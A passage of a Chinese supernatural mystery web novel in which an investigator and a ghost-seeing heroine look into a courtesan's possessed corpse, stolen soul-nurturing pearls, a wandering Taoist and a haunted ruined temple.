赵骍记得,五天前的夜里,他先是去了一趟醉华楼喝酒。
回去的路上,途经红袖楼,便忍不住进去坐坐。
那天晚上很冷,下了马车走了几步路,面颊便让风刮得疼。
待进了如烟的房里,让暖气这么一熏,酒劲忽然就上来了。
当时,房内燃着一股奇特香味,与往常的香方都不同。
“好香啊…”
他伸着鼻子嗅了嗅,想去找香炉,却险些摔着。
“王爷又喝醉了?”
如烟上前扶着他,让他坐在小塌上,又拿来一块热毛巾给他擦脸。
她是南方姑娘,说话时,语调总是温温软软,听着便心里舒坦。
“我让厨房煮一碗醒酒汤送来。”
赵骍连忙拉着她的手,将她揽入怀中,“别去,本王没有醉。”
如烟便安安静静躺在他的怀里,抱着他的腰,问:“那王爷还回王府吗?”
赵骍确实也想留宿在这温柔乡,可转念一想,父皇才刚刚赐了婚,若自己留宿烟花柳巷之事传了出去,可不太好听。
“不了,明早还有公务,本王陪陪你就走。”
听他这样说,如烟也是一点脾气都没有,她向来温顺乖巧,他说什么都听,也愿意事事为他考虑。
甚至…
“王爷,我新得了一样东西,想送给你…”
如烟说着,便起身从妆奁之中拿出一方锦盒,递给他,又道:“我猜这颗珠子,庄小姐应该喜欢,你拿去打一支珠钗或者是簪子给她,她必然欢喜。”
赵骍打开盒子一看,里面躺着一颗鸽子蛋般大小的明珠,在夜间烛光下熠熠生辉。
“真难为你想得这样周到…”
他顺手接了珠子,又将美人拥入怀中。
到底是耐不住温香软玉在怀,那一夜,他没有回王府。
讲到这里,赵骍只觉得一股恶寒,且难以置信。
“那晚…我还留宿在红袖楼,当时的如烟,明明还活着啊!”
“我该不会是和鬼…”
任风玦却抓住重点:“你说她房内燃了一股不同于往日的奇香?”
燃香难道是为了遮盖什么?
赵骍胡乱答应道:“那香味确实与往常不太一样。”
任风玦又问:“而且,她给你的那颗珠子,是让你送给庄小姐的?”
赵骍愣住。
再结合事情的前因后果,得出了一个让他后怕的结论…
如烟想害庄攸?
任风玦继续道:“不瞒你说,我进房的那刻,闻到的是一股浓郁的尸臭味。”
“而且,如烟当时还坐在镜前梳着头发。”
“但她确实已经**。”
“……”
赵骍已
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然坐不住,觉得撞邪这事,算是坐实了!
他甚至还害怕如烟的鬼魂会找上门来…
“来人,来人!”
他唤来王府管家:“加派人手去找,给我多找几个道士来驱邪!”
见赵骍如此惊恐,任风玦只能宽慰了几句,便打算起身告辞。
忽然,一名金羽卫上前来,“王爷,门外有一位道士求见。”
赵骍眼睛都亮了:“那还不赶紧把人请进来?!”
金羽卫领命去了,不一会儿,便带进来一位衣衫褴褛形容狼狈的年轻道士。
赵骍一眼扫去,简直大失所望,直觉对方多半是个骗子。
他下意识掩住口鼻,一脸嫌弃:“你会驱邪?”
道士微微一笑,虽说外形落魄,一眼不太能看出年纪。
但那双眼睛炯亮有神,且声音也颇为年轻。
“当然,贫道只需给你一道辟邪护体符,保管那些妖魔邪祟不敢靠近。”
他语气颇为自负,赵骍却半信半疑。
但眼下这种情况,死马也得当作活马来医,“那你现在给本王一张。”
说着,便朝一旁的管家使了一个眼色。
管家会意,立即递来一锭银子。
道士却正眼不瞧,并大言不惭地道:“禹王殿下的命,难道就值这么一锭银子?”
赵骍十分不悦。
管家立即斥道:“大胆,你连符都还没给,就敢要钱,我们又怎知你是不是骗子?”
那道士朗笑一声,快速掐指一算,却道:“王爷与‘邪物’同床共枕了一晚,难免会沾染到那‘邪物’身上的煞气。”
“不过,那‘邪物’或许对你有情,并无加害你之心,否则,哪能活到现在?”
一番话,说得不但让赵骍变了脸色,就连任风玦也怔住。
这年轻道士,倒真像是有些道行…
赵骍顿时如获救命稻草,忙不迭说道:“给他一锭金子!不对,给他两锭!”
“……”
他立即换了一副面孔走上前,恭敬问道:“敢问道长作何称呼?”
道士笑眯眯地答道:“云鹤山天机**座下首席大弟子——颜正初。”
此言一出,任风玦浑身一震,脸色也变了。
第43章 渊源
颜正初让府内准备了黄纸,用朱砂法笔当场画了两道辟邪符。
又向赵骍说道:“这两道黄符,你留一道在身上,一道压在枕下,邪祟不敢近身。”
赵骍虽看不懂纸上画的是什么,拿在手上却如获至宝。
“多谢颜道长。”
颜正初笑得一脸和气:“不必谢,王爷出钱,我出力,合算…”
他说着,便掂了掂怀里的两锭金子,直接向外走去。
王府等人面面相觑,竟就这么目送着他走出了大堂。
而全程一语未发的任风玦,忽然默默跟了上去。
“道长且留步。”
王府门前,任风玦忽然高喊一声。
走在前面的颜正初脚步一顿,眯着眼睛回头看了一眼。
随后,他面色忽然一凝,却道:“这位公子爷看着好生面善啊…”
任风玦走近了几步,直接说道:“方才听道长提起了云鹤山天机**…”
“世上…当真有那么一处地方?”
他问这话时,明显压抑着情绪,声音也微微有些颤抖。
颜正初没有立即答话,却伸出手指快速掐算了一下。
半晌后,却露出一副深不可测的神情:“自然是有,而且还与公子颇有渊源…”
任风玦胸口一震。
明明身处日光之下,后背却一片冰凉。
若世上真有这么一处地方,那些曾经发生在他身上的事情,便一定是真的…
见他惊愕无措的神情,颜正初却只是朝他微微颔首:“小侯爷毋庸再问,多的我也不会再说。”
“有缘自会再见。”
说完,他转身而去,步伐快得出奇。
等任风玦反应过来时,宽阔的道路上,竟已不见他的身影。
——
“夏姑娘,就是那儿了!”
人来人往的市集内,天青指着自己昨日买花的花行。
夏熙墨一眼望去,却并没有发现什么奇特之处。
她低声问无忧:“有吗?”
无忧四处嗅了嗅,“没有啊…”
空气中漂浮着花粉香气,别说煞气,就连一点鬼气都没有。
夏熙墨又问天青:“除此之外,还去了哪里?”
天青虽然不解,但还是指向一旁的巷子,说道:“昨日逛得有些渴了,将东西搬上马车后,便去了那边茶铺喝了一碗茶。”
“走,去看看。”
天青以为她也想喝茶,正要说换一处,夏熙墨倒先她一步走向了茶铺。
此时,茶铺门口正坐着几名脚夫,正在晒太阳聊天。
一人指着巷子尽头处说道:“听说红袖楼早上有个姑娘死在房间里了…”
“我也听说了,还是老鸨把客人领到房里才发现的。”
“早上我看到了,衙门里来了不少人呢…”
“知道是**的吗?”
“不知道…但据说死得很蹊跷,半张脸都腐烂了…”
夏熙墨目光扫过并无发现,倒是脚夫们聊天内容,引起了她的注意。
**人?
还死得很蹊跷。
这样想着,便忍不住朝巷子尽头处望去。
“红袖楼”三字映入眼帘。
“那是什么地方?”
她问了一句。
一旁的天青顺着视线望过去,面色变了变,连忙道:“那…地方,不是咱们去的。”
夏熙墨似乎不解:“为何?”
“因为那里…”
还没想到怎么解释,两人便同时看见一道熟悉的身影出现在红袖楼门口,并直接走了进去。
天青眼睛瞪大,一声“小侯爷”差点冲出口,却被自己及时捂住了嘴。
“夏姑娘,咱们还是走吧!”
夏熙墨直言:“我看见任风玦进去了。”
“……”
这还真是说不清。
天青心虚:“兴许是看错了…”
“走。”
夏熙墨根本不听,径自朝红袖楼内走去。
天青看着她,想要阻拦,却又不知该以什么方式阻拦,期期艾艾,只能硬着头皮跟在后面。
若是放到往常,门口会有护院或者杂役守着,一般人并不能轻易进去。
但由于白日发生了命案,来来往往去了好几波人,楼内个个人心惶惶,一时竟无人留意走进了两名陌生女子。
刚踏进门槛,天青便紧张地拉住夏熙墨的衣角,小声嘀咕:“姑娘,咱们还是别去了吧,这里面…乌烟瘴气的,可别被什么东西脏了眼
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睛。”
夏熙墨目光一凝,扫过天井,霎时间,只见二楼走廊煞气弥漫,便应道:“确实有脏东西。”
天青吓得连忙捂住眼睛,背过身子,“那姑娘还是别看了。”
“为何不看?”
夏熙墨不仅要“看”,还顺着一旁楼梯向上走,只回头交代了一句:“你别进去了,在外面等我。”
“……”
与此同时,红袖楼的管事妈妈芙姐被两个丫鬟扶着从二楼走下来,一张脸惨白如纸,煞是难看。
芙姐一手扶腰,一手扶额头,一步一步走得心有余悸,忽然,眼角余光扫了一眼对侧楼梯的夏熙墨,稍微怔了一下。
“等等。”
她出声,丫鬟们便停了下来,有些不明所以。
而夏熙墨却已独自一人,直接上了二楼。
芙姐疑道:“刚刚那是楼里的姑娘吗?”
丫鬟茫然摆首,“妈妈,我们没看清,应该是吧?除了楼里的姑娘,还会有谁?”
芙姐又揉了揉眼睛,只道自己是被早上的事,吓得心神不宁才产生了错觉。
夏熙墨循着浓厚的煞气直接来到一间房前,门是半晌着,无忧也跟着现了身。
“这里面气味好杂,好像确实有那缕阴魂身上的味道…”
“你要小心一点,感觉很古怪。”
夏熙墨直接推门入内,却险些和里面的人撞个满怀。
任风玦连忙扶了身前人一把,却吃了一惊:“夏姑娘,你怎会在这儿?”
“真是你?”
夏熙墨的回答,也让任风玦感到意外,“什么叫…‘真是我’?”
“我在巷子看到你走进来的…”
“…”
任风玦反应过来,解释道:“我是来这里…查案!”
“嗯。”
夏熙墨应了一声,那了然的神情,在任风玦看来,多少有些意味不明。
他只好接着解释道:“这里今早**一个姑娘,仵作验完尸体后,已经被衙门带走了,我因想到一些事情,又回来看了看。”
“果然,让我又发现了一样东西。”
说着,他摊上手掌,掌心处竟放着一颗明珠,与昨日禹王送给公主的那颗,一模一样。
第44章 道士
夏熙墨看了一眼珠子,就外形而言,确实与昨日那颗一致。
同样,也看不出什么蹊跷之处。
为了证实这珠子内是否“暗藏玄机”,任风玦正要松手将珠子摔碎,屋顶上却传来一道声音。
“慢着!”
夏熙墨和任风玦同时抬头,却见对面的屋顶上坐着一位衣衫褴褛的道人。
他笑眯眯问道:“小侯爷可知这珠子叫什么名字?”
任风玦一眼就认出了对方正是先前出现在禹王府的道士颜正初,他微吃了一惊。
“你为何会在此处?”
“我说了,有缘自会相见。”
“……”
颜正初一边答着话,目光却在一旁的夏熙墨身上来回转。
忽然惊叹了一声,又快速捏指掐算,嘴里念叨着:“还真是奇了怪了…”
“这位姑娘的命数,原本早在半月前就尽了啊!”
夏熙墨眼底难得闪过一丝诧异之色,却没有回话。
她将那道士仔细打量了一番,脑海中闪过几帧不属于这具身体的记忆…
“墨骨师妹,人生在世呢,最重要就是开心,你看师父虽罚我,心里却还是疼爱我的…”
“师妹始终是我师妹,就算离开了师门,也还是我师妹…”
“世人都说你是女魔头,但在师兄心里,你永远都是小师妹…”
……
混乱的记忆,在脑海中来回穿梭,眼见就要清晰起来,又逐渐模糊…
再要回想时,却是一点痕迹都没有。
夏熙墨回神,手心处竟捏了一把汗。
“夏姑娘,你没事吧?”
一旁的任风玦留意到她神色不对,忍不住出声询问了一句。
“没事。”
夏熙墨淡应一声,将心底疑惑压下去,问那道士:“你知道这珠子的来历?”
颜正初不答,忽然纵身一跃,透过窗户便轻盈跳了过来,身手竟十分敏捷。
他背着双手,朝二人走近了两步,顺带还瞟了一眼漂浮在半空中的灯魂,吓得无忧赶紧缩回渡魂灯内。
“这珠子名为‘养魂珠’,顾名思义,里面养的是魂魄,本是我云鹤山之物。”
任风玦面色一凝,问:“那为何会出现在这里?”
颜正初解释道:“半年前,有邪物潜入云鹤山,盗走了十二颗‘养魂珠’,师尊闭关之前,命我下山寻回。”
“但那邪物极其擅长掩藏行踪,这半年来,我也只在南边一处小镇上,发现过一次。”
说着,他从腰间掏出一枚珠子,确实与任风玦手中那颗一致。
颜正初继续说道:“不过,当时我赶到那里,与此处情形一致,‘魂器’也已被掏空。”
听到这里,任风玦已知此事牵连甚广,并不似表面上那般简单。
他问:“何为魂器?”
颜正初答:“人就是魂器。”
一旁的夏熙墨忽然出声道:“应该就是死在这房中的那位姑娘吧?”
“不错。”
颜正初目露赞赏之色,又道:“她早就**,甚至魂魄都已经散了,但身体还在被邪物操控。”
“这邪物借助她的身体,去吸取‘养魂珠’内的煞气。”
“但‘魂器’始终只是人,人死即为空壳,尸体会腐烂,等到尸体完全腐烂,就会被察觉。”
“这时,邪物就要重新找新的‘魂器’了。”
一番话说完,任风玦与夏熙墨面色各异。
只是,相较之任风玦,颜正初对夏熙墨似乎更感兴趣。
他又深深打量了她一眼,问:“不害怕?”
夏熙墨冷冷凝视他,“怕什么?”
颜正初却笑道:“你这躯体,可不比旁边这位小侯爷,阴气太重,最是容易被鬼怪盯上。”
“怎么样?是否考虑让本道长给你画两道辟邪符?你长这么漂亮,收你一锭金子即可。”
夏熙墨根本懒得搭理他,反而转身开始观察房内陈设。
忽然,目光盯着一处,像是发现了什么。
颜正初被冷落了也不恼,反而转头望向任风玦,语调一转:“不过你们二人倒是挺般配,一个是纯阳之躯,一个是极阴之体,还有姻缘在身呢…”
任风玦深知底细早已摸透,此时,无论对方再说什么,他都没有多少意外。
就连他酝酿着想要再问些什么时,颜正初也能先一步开口。
“关于你与云鹤山的渊源,回家问你父亲
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仁宣侯只会更好,恕贫道不能多言。”
“……”
任大人只得把话咽了回去。
忽然间,他又低头看了一眼手中的“养魂珠”,像是想到了什么应对之策,便问:“道长说那邪物偷了十二颗‘养魂珠’,眼下找到了几颗?”
“算上你这颗,才两颗。”
颜正初一副颇为头疼的样子,说着,就要伸手去拿他手中的珠子:“刚好,你现在可以物归原主了。”
任风玦却迅速收起养魂珠,连连后退几步,瞬间拉开彼此之间的距离。
见他身手了得,颜正初不禁诧异,“小侯爷这又是何意?”
任风玦微微笑道:“忘了告诉你,有一颗在皇宫时已经摔碎了。”
“算上那颗,正好三颗,所以,你至少还要找回九颗。”
“道长,不如你我之间合作一下,我助你找‘养魂珠’,你回答我一个问题,如何?”
颜正初微恼:“我看你还是不死心啊…”
任风玦立即垂首作揖:“只是希望道长能回答我一个问题,对我而言,十分重要。”
颜正初深叹了口气,有些无奈:“不是说了让你回家问吗?要是能说的话,我早就说了。”
“不是问我的事…”
任风玦抬眸望向他,眼里带着几分期许之意,“道长应该还识得一人。”
“我的小叔——任曜,他已经**吗?”
听到这个名字,颜正初脸色也跟着变了。
沉默之间,氛围也是冷了下去,良久后,只听道人冷哼一声,也不答话,亦如来时那般,身影一晃,便顺着窗台跳走了。
望着道人离去,任风玦追也不及,倒在原地愣了片刻。
夏熙墨下意识回头看了一眼,竟头一次在他的背影中看到了“失落”二字。
她心底掠过一丝异样的感触,竟忍不住向他的方向靠近了几步。
“是死是活,有那么重要?”
听见她的声音,任风玦这才惊觉她在跟自己说话。
但面对这个问题,他的心揪得很紧,甚至连双手,也情不自禁握紧成拳。
他慢慢转过头来,眼眸深沉。
“对我而言,很重要。”
第45章 思梦
“嗯。”
夏熙墨习惯淡应一声,却又说了一句毫无感情的话。
“生见人,死见魂,你自己不会去找?”
而这样的一句话,也是将任风玦才涌起的情绪,瞬间又压了下去。
她说不出什么安慰人的话。
只会阐述事实。
他也确实不曾去找过。
那件事情发生的时候,他还太小,几岁大的孩童,才刚刚开始记事。
他只记得醒来后,看见父亲沉重的面容与泛红的眼眶。
母亲抱着他说道:“以后别去南川院找你小叔了。”
“为什么?”
南川院有很多别处看不到的稀罕物,小叔也惯会哄他开心。
对于几岁的孩童而言,那里是整个侯府最有意思的地方。
母亲抚摸着他的头,哄着他:“他去了一个很远的地方。”
他急切问:“那他什么时候回来?”
“不一定,或许要等你长大。”
后面,等他长大了一些,有天偶然想起去问,却被父亲狠狠训了一顿。
“往后不许再提你小叔。”
他问为什么,父亲脸色更加难看,眼神里也全是告诫之意。
“不许就是不许,别再问了!”
现在回想起来,他依然能感受到父亲那压抑的情绪,与母亲难以启齿的话语。
他也以为,存放在记忆深处,不刻意去想,就不会再受影响。
直到偶然间再翻出来,他才发现,这些年不过只是虚长了一些岁数罢了。
不去打开的心结,将永远都是心结。
沉默间,任风玦忽然自嘲一笑。
“夏姑娘说得是,这样浅显的道理,我为何才懂?”
夏熙墨仿佛听不出他话语里的自嘲,应了一句,“现在懂也不迟。”
“……”
任风玦没话说,只得岔开话题,问道:“夏姑娘刚刚可有什么发现?”
夏熙墨也不绕弯子,“算是有。”
她指着挂在墙壁上的女子画像,问:“这画上的女子,应该就是屋主人吧?”
任风玦看了一眼。
画中女子,身姿曼妙,五官柔美,气质温婉,正坐在窗边半抱着琵琶,一旁燃着香炉,炉内轻烟袅袅。
虽然,他所见到的如烟,已是一具半腐的尸体。
但根据这画像来判断,确实是同一人。
而且,画中场景——琵琶、雕花窗、香炉,都能与这房内陈设对上。
“不错,正是如烟。”
夏熙墨道:“昨日有一缕阴魂附在一盆花上,被天青买了回去。”
“里面藏了一缕魂,正是她。”
任风玦颇有些惊讶:“在东院?”
“是。”
“既找到了她的鬼魂,是否就能知晓,她是因何而死?”
“不行。”
夏熙墨眉峰微蹙:“那缕阴魂很古怪,不仅有煞气,怨气重,还记不起生前之事了。”
以前要渡的阴魂,能轻易分辨出主魂与散魂。
一旦找到主魂,就大概能知道事情的前因后果。
但这次,明显棘手得多。
不能从阴魂身上切入,那便只能先在活人身上找线索。
如烟是如何被邪物盯上的?
她究竟又是**的?三魂七魄,现在何处?
任风玦也沉思了一下,却道:“想不到事情兜兜转转,又回到了同一件事上。”
“看样子,关于这‘养魂珠’的事情,我与夏姑娘皆非查不可。”
夏熙墨本想说,她对这珠子不感兴趣。
但转念一想,要弄清其中的来龙去脉,还是要先从这颗珠子查起。
她难得没有直言拒绝,反而问他:“白日你在此处查到了什么,可否告知?”
任风玦倒乐得与她分享,当即便将清晨到这红袖楼之后发生的事情,及去禹王府后的经过,全都说了。
他又道:“这楼中管事,我也已经问过话了。”
“她道,如烟几日前忽然病了,便一直闷在房中不再见客,房间内,还时不时传来难闻的臭味,下人们都不敢进去。”
“期间,也确实找过几个大夫来看过,可惜都看不出病因…”
说话间,门外忽然传来一道细碎的脚步声。
两人的耳根子都十分灵敏,竟不约而同朝往看去,只见一道女子的身影
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,倒映在房门前。
“如烟…”
来人似乎并没有勇气靠前,只敢在门口轻唤了一声。
是一个女子的声音。
随之,那女子便跪在地上,开口说道:“那日…都是我的错,若不是我执意拉着你要去那间寺庙,你也不会有事…”
任风玦当即出声问道:“当日在寺庙,发生了什么事情?”
听了这话,女子吓得惊叫一声,踉跄着就要逃走。
然而,还没跑两步,便摔倒在地。
“你是谁?”
见两道身影从房内走出来,女子脸色骤变,“你们为什么会在这里?”
任风玦以腰间玉牌示意:“刑部查案,望你配合。”
听到刑部二字,女子似乎一下就猜到了任风玦的身份,吓得连忙跪在地上。
“大人恕罪,我…我是这楼里的花娘,我只是想来看看如烟,她的死…跟我并没有关系。”
任风玦皱眉,却问:“那你刚刚说的话,又是为何?”
女子犹豫了一下,似乎不知该如何解释。
任风玦近前两步,加重语气:“若有隐瞒,你在本官这里,可就是疑犯了。”
“大人…”
女子根本不经吓,当即应道:“我说我说…”
她深吸一口气,朝如烟房内看了一眼,也慢慢陷入了沉思。
女子名为思梦,是如烟在红袖楼内唯一的好友。
一月前,管事妈妈照例放她们出去置办头面胭脂。
那天,也恰是圣上降旨,将庄家嫡女赐婚于禹王的日子。
买胭脂时,得知此事的如烟,多少有些郁郁寡欢。
思梦看在眼里,便想趁着时间还早,再去附近清平寺拜拜,顺带祈愿祈福。
如烟原本不想去,却耐不住思梦一阵软磨硬泡。
两人给了随行四名杂役一人二两银子,随后便向京郊而去。
但奇怪的是,出城之前还是晴空**,在经过一座桥时,忽然变了天,一阵阴风吹过,转瞬间就下起了瓢泼大雨。
当时,能避雨的地方只有附近一座荒庙,杂役们来不及多想,便将轿子抬进了寺庙内躲雨。
第46章 贪念
“当时的雨势极大,小厮们也都淋湿了,天又冷得很,我们只能在寺庙内先找一处地方生火。”
“可是,火才刚刚生好,如烟便忽然不见了。”
回想起在寺庙中的情形,思梦依然心有余悸,“那寺庙比我们想象中大很多,我跟小厮们走了好几座佛殿,才找到如烟。”
“她当时…”
如烟正跪拜在一座破败的佛像之前,口中念念有词。
看到那一幕,思梦吓了一跳,连忙上前想要拉走如烟。
她记得,幼时家中一位嬷嬷说过,坊间传闻,废弃寺庙内的佛像不得乱拜,容易招惹到过往的妖怪邪灵。
然而,那时的如烟却如同魔怔了一般,任她如何使力,都拉不动分毫。
思梦吓坏了,只能让杂役们一同帮手。
四名杂役,一起出手,竟也花费了不少力气,才将如烟从那破烂的蒲团上拖下来。
可就在那一瞬间,思梦看到一团黑气,钻进了如烟的身体。
“黑气?”
听到这里,任风玦与夏熙墨几乎同时出声。
思梦讷讷点头:“我当时也以为是自己眼花,后来问那几名小厮,他们也说自己看到了。”
“发生了这样的事情,我们自然不敢在庙里多待,但可更离奇的是…”
“当我们从破庙里出来的时候,外面竟是晴空**,一点下过雨的痕迹都没有。”
“我们发觉不对劲,清平寺也不敢去了,赶紧就回了楼里。”
“可当天晚上,临到上客的时辰…”
如烟迟迟没有梳妆打扮。
丫鬟敲门问了几次,里面都无人回应。
管事妈妈得知此事后十分不悦,便亲自上门来,想要说教一番。
哪知如烟也不给面子,竟一句话也不肯搭腔。
思梦怕事情闹大,便主动上前跟管事妈妈说了一通好话,这才缓解了此事。
她本以为,如烟是受禹王殿下与庄小姐婚事影响,才突然这般消沉。
于是,就跟她说,禹王既已应允会替她赎身,并纳她为妾室,那便一定会履行承诺。
谁知如烟听了之后,突然发起了疯,伸手就掐住了她的脖子…
“她死死盯着我,没有说话,但那眼神很可怕,我从未在她身上见过这样的眼神…”
“明明她一直都很温柔,说话都是温声细语的…”
思梦回想着,不由自主护住自己的脖子,似是余惊未消,又道:“她手上的力道很重,那一刻,我真的觉得…她会杀了我!”
“我拼命挣扎,但最后还是外面的丫鬟听见动静后推门进来阻止了她,我才得以在她手上逃脱。”
“我实在是吓坏了,心里也很愤怒,便打算不再管她。”
“可等到第二天白天,她又突然来我房中找我…”
因头天夜里的客人没有留宿,思梦便小睡了一会儿。
不到辰时,却有人上来敲门。
她以为是丫鬟,便说了一句先不用早膳,谁知外面却响起了如烟的声音。
“她跟我说,她是要登门道歉的。”
“我毕竟跟她姐妹一场,无论如何还有几分情义在,便原谅了她。”
“只不过,她那时给我的感觉,就已经有些不对劲了。”
思梦说着,面露惧意。
任风玦问:“有何不对劲?”
“我不知道我的感觉对不对…”思梦仔细回想了一下,才斟酌回道:“就是感觉…她好像变了一个人。”
“即便,她说话的语气语调,都和从前一样,但她的眼神,就是有些不对劲。”
“但我说不上来,也解释不清,或许,也只是一种感觉罢了。”
任风玦又问:“当天她除了找你道歉之外,还做过什么异常行为?”
经他这么一问,思梦忽然又想到了什么,连忙道:“有!”
“她跟我说,她要送我一样东西,还说,那东西能满足我的一切心愿。”
“只要我将那东西带在身边,心里所想的,都能实现…”
“我自然是不信的,就算是号称祈愿最为灵验的清平寺,也不见得一定有求必应。”
听了她的话,任风玦与夏熙墨立即相视了一眼,算是心照不宣。
或许,如烟想送给思梦的,也是一颗“养魂珠”。
夏熙墨眯了一下眼睛,问:“那东西,
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你收下了?”
思梦慌忙摇头:“没有,她当时说晚些时候再送过来,但后面却没有再来过了。”
夏熙墨悄悄近前一步,仔细打量她,似乎有所怀疑。
“那你为何不要?难道听她这样讲,便没有动心过?”
“还是因为,你不信她?”
思梦倒不料对方会问出这样的话,她微愣了一下,却忽然自嘲一笑。
“倒也不是不信她,只是不敢奢想罢了。”
“这辈子都已经走上了这条路,就不该再有其他想法…”
“难道我也指望着有人能替我赎身,将我娶回家中去?”
夏熙墨深深看了她一眼,却说了一句意味不明的话:“难得见到没有贪念的人。”
思梦并不懂她话中意思,一时也不知该如何作答。
一旁的任风玦暗自思忖了一番,却又问道:“除你之外,如烟可还送过其他人东西?又或者,楼内近来可有其他怪事发生?”
思梦如实答道:“应该是没有了,她与楼内姑娘平日里很少往来。”
“但要说怪事的话,倒是有一件…”
她语气一顿,将声音也压低了许多,“妈妈不让说,最近楼里的姑娘都如同中邪了一般,戾气极重,几天时间内,就已出现了好几起**吵架的事件了。”
“有的,甚至还把客人给伤了…”
夏熙墨不由得想起了定安公主**之事。
若她没有猜错的话,当时的公主,应该就是受“养魂珠”的煞气影响,才会突然性情大变。
而这楼内的情况,多半也是如此…
正要继续问话时,身后楼道内却传来一道呵斥声:“思梦,谁允许你在这里胡说八道的?还不快些滚回房里去?”
只见管事妈妈芙姐在两名丫鬟搀扶之下,满脸怒容,正慢慢走来。
思梦见状,立即惊慌失措,向任风玦说道:“大人,该说的我都已经说了,求您放过我!”
任风玦问:“最后回答我一个问题,你口中所说的寺庙,具体在何处?”
思梦几乎不假思索便答道:“自西城门外向南边走二里路左右,就在一座桥边。”
第47章 寺庙
眼见芙姐气势汹汹走来,扬起手就要训人。
任风玦却拦在她的跟前,冷冷说道:“管事这是要阻拦本官办案吗?”
被他冷冷的眼神一扫,芙姐像是忽然清醒了过来,连忙后退,并跪拜在地。
“奴家不敢,奴家只是…”
她似乎也有些懊恼,支吾了半天,才想到一个理由:“奴家只是怕小姑娘不会说话,反而耽误了大人查案啊。”
任风玦继续冷冷问道:“思梦姑娘方才说,楼内近期发生了好几起**伤人事情,可属实?”
芙姐面色难看,显然并不想这些事情传出去,她又试图歪曲事实:“只是楼内姑娘产生了一些口角罢了,女人多的地方,哪有不起争执的?”
这话说得颇为心虚。
其实**事件,近来已发生了不止一起,就连向来性情极好的花魁春华,昨日竟也出手打了人。
打的,还是一位贵客。
要知道,春华自入红袖楼来,性子温顺不说,伺候人的手段也是了得,达官贵人向来都是争着抢着指名要她。
可就在昨晚,她竟在自己房中,将户部侍郎家的吴公子给伤了。
当时,吴公子从房内出来,脸上都被指甲划破了。
要不是楼中掌柜亲自出来道歉,送了好些贵重之物,又亲自选了两个花娘伺候,只怕吴公子不会轻易善罢甘休。
但最离奇的是,春华伤人之后,竟也说不出缘由,就跟中了邪似的。
任风玦知道芙姐没说实话,便道:“楼中既发生了这样离奇的命案,那在事情未能查个水落石出之前,楼内所有人都要先配合刑部衙门查案。”
“管事若没有异议,现在便与本官回一趟衙门,慢慢聊也不急。”
芙姐听了这话,可吓得不轻,连忙道:“大人有什么话,直接在这里吩咐便是,奴家一定配合!”
任风玦了然点头,又从怀中掏出一颗珠子,递到她的跟前,吩咐道:“仔细看清楚这颗珠子。”
“从现在起,吩咐下人彻查每一间房,看看是否有这个东西出现。”
芙姐忙不迭应了。
任风玦又道:“特别要查的,是这几日有动手打过人的花娘,可明白了?”
虽然不懂其中的弯弯绕绕,但芙姐还是一口应了下来。
“大人放心,奴家一定会让他们查仔细的!”
——
任风玦与夏熙墨并行从红袖楼内出来时,天青还在门口焦急张望。
见他们二人一同走来,她先是眼前一亮,随后又很是尴尬。
她并不知道此时一脸冷漠的夏姑娘心中究竟作何感想。
也不知她是否会生小侯爷的气…
“你自己回去吧。”
夏熙墨向天青吩咐了一句,语气如常。
天青却有些不放心,悄悄看了任小侯爷一眼,又小声道:“公子,可否借一步说话?”
任风玦倒有些意外,还以为她有什么事情要告诉自己,便点了一下头。
谁知,天青将他拉到一旁后,又如蚊呐一般,小声问:“夏姑娘方才没生气吗?”
任风玦一头雾水:“为何生气?”
天青杏眼圆睁:“您…进了这种地方,她不生气?”
“……”
任风玦忍住了想要拍她脑袋的冲动,没好气地道:“我来此查案,我把我看成什么人了?”
天青恍然大悟,心里总算放心了,又道;“既如此,那公子要多哄哄夏姑娘,我看她还是很在意您的…”
这话说得任大人心头一荡。
忽想到方才在如烟房中,夏熙墨开口对自己说的第一句话。
她确实也是因为看见了自己,才跟着进来的。
若这也算是一种“在意”的话?
任风玦忽然拂袖,看似微恼的样子:“不懂就别乱说话。”
天青吐了一下舌头,悄悄垂首。
直到夏熙墨略显不耐烦的声音在二人身后响起,“可以走了吗?”
“就来。”
任风玦又瞥了天青一眼,这才转身走了。
他向夏熙墨问道:“还是乘坐我的马车?”
“嗯。”
夏熙墨应了一声,便径自朝任大人的马车前走去。
仆人阿夏更是早早备好了踏脚板,等候着她,仿佛她才是那马车的主人。
任风玦跟在
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后面,望着夏熙墨上车,却意味不明地扫了阿夏一眼。
“这趟马车不用你跟着。”
阿夏闻言,诧异微愣,“公子何意?”
任风玦示意他附耳,跟着悄声交代了两句。
阿夏听完,更是一头雾水,却不敢有异言,悄悄去了。
任大人亲自驱车出了西城门,根据思梦所言,朝南边走二里路,果然有一座桥。
上了桥后,视野开阔,即见一座废弃寺庙伫立路旁。
任风玦曾听人提起过,这寺庙乃是清平寺的前身,因发生过无故坍塌事件,毁掉了主佛殿,还**几个扫地的小沙弥。
当时的主持觉得是佛祖怪罪,便将寺庙迁到了清平山上,并为佛像重塑了金身。
新寺虽处地高远,香火却随之旺盛,迄今几十年过去,已成了上京第一佛寺。
旧的小寺庙也就逐渐被荒废了。
“到了,夏姑娘。”
一路上两人无言,对于任大人调走阿夏而亲自赶车之事,夏熙墨也没多问。
此时听见声音,她才掀开车帘,却不落车。
任风玦反应过来,连忙替她放好踏脚板,扶她下来。
两人并肩进了寺庙后,首先入眼的便是一座长满荒草的庭院,主殿已然坍塌,不见原貌,只有两边的侧殿勉强能容人。
走进去,果见地上堆积着不少草木灰,看样子,最近确实有人来过此处避雨或者歇脚。
两人四下里看了看,除此之外,并无异常。
任风玦问:“可有发现什么?”
夏熙墨不搭话,却抖了抖手里的渡魂灯。
灯魂无忧在灯内瑟瑟发抖:“姑奶奶,你别问我,我都顾不上害怕呢…”
“没用。”
“……”
任风玦看了她一眼,又看了一眼她的手中灯,虽不知这话是对谁说的,但他还是选择了不问。
但走了没两步,夏熙墨倒是主动开口了。
“你觉得,那叫思梦的女子,说话可信?”
任风玦意外挑眉,“夏姑娘的意思是,不信?”
话音刚落,一阵阴风拂过,吹得破旧的窗棂发出簌簌声响。
第48章 幻境
听到声响,任风玦下意识将夏熙墨护在身后。
然而,又闻一道闪电划过天际,顿时雷鸣震耳。
外面的天色,几乎在一瞬间就暗了下来。
渡魂灯内的无忧立即惊叫了一声,“来了!”
夏熙墨耳根子一动,已见一道黑影自门外闪过。
她目光一凛,正要去追,却被任风玦拉住了衣袖,“小心。”
“先顾好你自己。”
夏熙墨将他的手甩开,走到门边,朝黑影消失的方向望去,却发现原本坍塌的主殿已化作一片深渊。
而在那深渊之上,正伫立着一座万丈金佛,光芒刺目,欲与天齐。
